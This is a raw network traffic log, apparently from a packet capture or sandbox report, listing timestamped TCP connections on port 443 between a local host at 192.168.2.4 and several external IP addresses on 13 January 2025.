Jan 13, 2025 21:17:24.380917072 CET	443	62503	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.380934000 CET	62502	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.380947113 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.380985022 CET	443	62503	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.381035089 CET	62503	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.381643057 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.381695032 CET	62502	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.381706953 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.381755114 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.381778002 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.381803036 CET	62502	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.381817102 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.381870985 CET	62502	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.382461071 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.382525921 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.382556915 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.382575035 CET	62502	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.382591963 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.382641077 CET	62502	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.384560108 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.384701014 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.384754896 CET	62502	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.384767056 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.384785891 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.384838104 CET	62502	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.440334082 CET	62503	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.440411091 CET	443	62503	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.462596893 CET	62502	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.462657928 CET	443	62502	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.683171034 CET	62504	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.683207035 CET	443	62504	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.683262110 CET	62504	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.683450937 CET	62504	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.683455944 CET	443	62504	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.684936047 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.685023069 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:24.685106039 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.685287952 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:24.685307980 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.147444963 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.147903919 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.147967100 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.148292065 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.148711920 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.148711920 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.148808956 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.148864985 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.154413939 CET	443	62504	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.154567003 CET	62504	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.154581070 CET	443	62504	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.156121969 CET	443	62504	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.156353951 CET	62504	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.156415939 CET	62504	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.156419039 CET	443	62504	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.156609058 CET	443	62504	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.202526093 CET	62504	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.202639103 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.278991938 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.279028893 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.279066086 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.279108047 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.279146910 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.279181957 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.279268980 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.279269934 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.279269934 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.279269934 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.279371023 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.279721975 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.279746056 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.279886961 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.279984951 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.280045986 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.306413889 CET	443	62504	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.306569099 CET	443	62504	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.306618929 CET	62504	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.307113886 CET	62504	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.307125092 CET	443	62504	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.310199022 CET	62506	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.310216904 CET	443	62506	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.310267925 CET	62506	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.310456991 CET	62506	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.310463905 CET	443	62506	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.367928028 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.367969036 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.367986917 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368009090 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368129969 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.368129969 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.368139982 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368197918 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368256092 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.368273973 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368339062 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368357897 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368382931 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.368397951 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368459940 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.368877888 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368913889 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368933916 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368956089 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.368959904 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.368977070 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.369013071 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.369688988 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.369718075 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.369736910 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.369738102 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.369746923 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.369777918 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.421905994 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.421967983 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.456415892 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.456444979 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.456465006 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.456484079 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.456583023 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.456618071 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.456619024 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.456619978 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.456619978 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.456646919 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.456691027 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.456747055 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.456765890 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.456806898 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.456830025 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.457166910 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.457329035 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.457397938 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.457454920 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.457707882 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.457777977 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.457819939 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.457819939 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.457843065 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.458591938 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.458643913 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.458657980 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.458679914 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.458720922 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.458739996 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.458779097 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.459424019 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.459476948 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.459491014 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.459532976 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.459548950 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.459568024 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.459595919 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.499855995 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.544734955 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.544811964 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.544887066 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.544939995 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.544941902 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.544954062 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.544991016 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.545144081 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.545192003 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.545223951 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.545459986 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.545525074 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.545557022 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.545628071 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.546509981 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.546911955 CET	62505	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.546941996 CET	443	62505	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.549799919 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.549846888 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.550052881 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.550422907 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.550453901 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.594279051 CET	62495	443	192.168.2.4	104.21.33.70
Jan 13, 2025 21:17:25.635358095 CET	443	62495	104.21.33.70	192.168.2.4
Jan 13, 2025 21:17:25.711605072 CET	62508	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.711689949 CET	443	62508	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.711782932 CET	62508	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.712162971 CET	62508	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.712224007 CET	443	62508	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.712414980 CET	443	62495	104.21.33.70	192.168.2.4
Jan 13, 2025 21:17:25.712579966 CET	443	62495	104.21.33.70	192.168.2.4
Jan 13, 2025 21:17:25.713594913 CET	62495	443	192.168.2.4	104.21.33.70
Jan 13, 2025 21:17:25.713870049 CET	62495	443	192.168.2.4	104.21.33.70
Jan 13, 2025 21:17:25.713901997 CET	443	62495	104.21.33.70	192.168.2.4
Jan 13, 2025 21:17:25.720973015 CET	62509	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:25.721009970 CET	443	62509	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:25.721074104 CET	62509	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:25.721240044 CET	62509	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:25.721256018 CET	443	62509	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:25.780101061 CET	443	62506	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.780348063 CET	62506	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.780361891 CET	443	62506	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.781430960 CET	443	62506	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.781713009 CET	62506	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.781807899 CET	62506	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.781883955 CET	443	62506	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.828284979 CET	62506	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.920798063 CET	443	62506	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.920953989 CET	443	62506	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:25.922032118 CET	62506	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.922276020 CET	62506	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:25.922297001 CET	443	62506	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.000200033 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.000492096 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.000554085 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.000828028 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.001274109 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.001274109 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.001390934 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.050239086 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.145854950 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.145883083 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.145910978 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.145945072 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.145962954 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.145986080 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.146085024 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.146085024 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.146152020 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.150136948 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.150198936 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.150629997 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.150650978 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.150674105 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.150876045 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.150876045 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.150943995 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.172372103 CET	443	62508	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.174297094 CET	62508	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.174357891 CET	443	62508	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.176445007 CET	443	62508	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.178396940 CET	62508	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.178396940 CET	62508	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.178397894 CET	62508	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.178494930 CET	443	62508	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.178533077 CET	443	62508	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.178595066 CET	443	62508	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.194355011 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.202588081 CET	443	62509	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:26.202896118 CET	62509	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:26.202965021 CET	443	62509	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:26.204665899 CET	443	62509	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:26.204761982 CET	62509	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:26.205593109 CET	62509	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:26.205713034 CET	62509	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:26.205724955 CET	443	62509	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:26.205843925 CET	443	62509	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:26.224996090 CET	62508	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.231895924 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.231983900 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.232053041 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.232068062 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.232137918 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.232177973 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.232202053 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.232765913 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.232796907 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.233242035 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.233259916 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.233277082 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.233294964 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.233361959 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.233361959 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.233361959 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.233432055 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.233892918 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.233941078 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.233963966 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.233993053 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.234013081 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.234055996 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.234055996 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.234122038 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.234184027 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.234838963 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.234867096 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.235017061 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.235085011 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.235161066 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.256150961 CET	62509	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:26.256216049 CET	443	62509	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:26.275439978 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.303666115 CET	62509	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:26.318243027 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.318267107 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.318337917 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.318403006 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.318403006 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.318470001 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.318702936 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.318923950 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.318985939 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.319055080 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.319217920 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.319272995 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.319289923 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.319318056 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.319341898 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.319355965 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.319386005 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.319948912 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.320008993 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.320024014 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.320044041 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.320076942 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.320084095 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.320095062 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.320097923 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.320158005 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.320930004 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.320990086 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.321005106 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.321058989 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.322253942 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.322292089 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.322314024 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.322346926 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.322379112 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.322400093 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.322407007 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.322417021 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.322453022 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.322659016 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.322710037 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.330976963 CET	443	62509	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:26.331137896 CET	443	62509	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:26.331252098 CET	62509	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:26.331432104 CET	62509	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:26.331475019 CET	443	62509	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:26.331981897 CET	62510	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:26.332067966 CET	443	62510	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:26.332174063 CET	62510	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:26.332344055 CET	62510	443	192.168.2.4	35.190.80.1
Jan 13, 2025 21:17:26.332366943 CET	443	62510	35.190.80.1	192.168.2.4
Jan 13, 2025 21:17:26.360439062 CET	443	62507	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.360754967 CET	62507	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:26.394277096 CET	443	62508	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:26.394391060 CET	443	62508	104.18.94.41	192.168.2.4
